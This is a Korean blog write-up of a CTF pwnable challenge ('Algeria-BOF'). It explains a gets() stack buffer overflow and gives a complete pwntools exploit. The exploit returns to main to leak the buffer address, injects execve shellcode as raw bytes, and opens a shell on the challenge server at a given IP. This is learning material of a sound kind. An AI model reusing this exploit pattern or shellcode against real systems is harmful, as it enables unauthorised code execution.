CTF/2022 T3N4CI0US CTF

2022 T3N4CI0US CTF Alegeria-BOF Write Up

JUNFUTURE 2022. 3. 25. 21:04

한국시간 기준으로 2022.3.23 9:00부터 2022.3.25 9:00까지 진행될

2022 T3N4CI0US CTF에 참여했다.

CTF 페이지가 전세계를 정복하는? 컨셉이었다. 재밌었는데 솔직히 문제 어딨는지 찾을때마다 쪼끔 화났다

홈페이지 문제로 무려 5시간이 연장되어 25일 14:00까지 진행됐다.

 

깔끔하게 밤새고 11시부터 금요일 수업을 들으려했으나, 야속하게도 14시까지 꼼짝못하고 컴퓨터 앞에 붙어있었다 ㅠ

각설하고, 가장먼저 요번 CTF의 유일한 Pwnable 문제였던 Algreria-BOF 문제를 풀어보았다.

매우매우 단순한 BOF 문제였다! 코드를 살펴보면

char v4[208] 버퍼에 gets로 길이 검증없이 값을 넣는다!

일단 BOF가 발생하는건 자명한데, RET를 어디로 옮기냐가 문제다.

바이너리 보호기법 확인 : ?

?

이거 보고 띠용했다.

그냥 뭐 가지고 놀아보자.

아무런 보호기법이 없다. 

code = b"A"*(208+8)
p.sendline(code)

우선 RET 위치를 구하기 위해서 A 208개랑 EBP 채우기 8개를 쏴봤는데

아니나 다를까 내가 채운 주소 바로 다음부터 RET이 있었다.

 

대충 buf에다가 쉘코드 삽입하고 NXbit 보호기법도 안걸려있겠다 스택 버퍼 v4로 RET를 조작해버리면 되겠다.

그러면 buf주소를 알아내는게 핵심인데, 이것도 뭐 그냥 출력해줘버린다.

근데 여기서 핵심은 Input을 받고난 다음에 v4 버퍼주소를 출력해준다.

기왕 보호기법도 없겠다 Letrun To Main으로 RET을 메인함수시작부분으로 복귀해서 buf v4 주소를 알아낸 다음, 한번 더 입력해버리자!

 

익스 흐름은 다음과 같다.


1. 쉘코드 입력 ->

2. buf v4 주소 확인(leak) ->

3. RET 다시 메인으로 (Leturn To Main) ->

4. RET을 어드레스 leak으로 알아낸 v4 버퍼로 바꿔주면 익스성공!

아래는 전체 익스코드이다.

아참 그리고 바이너리가 

x86-64로 컴파일되어 있으니, 해당 아키텍처에 맞는 쉘코드를 사용해야한다.

from pwn import *

p = remote("34.125.202.58", 10000)
# p = process("./prob")
e = ELF("./prob")

def slog(symbol, addr): return success(symbol + ": " + hex(addr))
context.log_level = 'debug'

# gdb.attach(p)

main = 0x00000000004011ff
slog("main", main)

# return to main
# 0x40101a is "pop ret" for stack alignment
code = b"A"*(208+8)
code += p64(0x000000000040101a)
code += p64(main)

p.sendline(code)

# v4 local buf leak
p.recvuntil("add: ")
tmp = p.recvuntil("\n")
slog("buf", int(tmp,16))

# shellcode insert
code = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
code += b"\x00"*(208+8-len(code))

# RET to buf
code += p64(int(tmp,16)+0x10)

p.sendline(code)

# code = b"B"*(208+8)
# for test: RIP to AAAA
# p.sendline(b"AAAA")
p.interactive()

 

그런데..

# RET to buf
code += p64(int(tmp,16)+0x10)

이상하게 Return to Main 으로 다시금 메인 흐름으로 들어가면 buf의 위치가 +0x10이 되더라
이유는 뭔지 모르겠는데 RET를 leak해서 얻어낸 buf의 주소 값에 0x10을 해줘야 깔끔히 익스가 된다.

'CTF > 2022 T3N4CI0US CTF' 카테고리의 다른 글

2022 T3N4CI0US CTF osint-no3 Write Up  (0) 2022.03.28
2022 T3N4CI0US CTF yemen Write Up  (1) 2022.03.25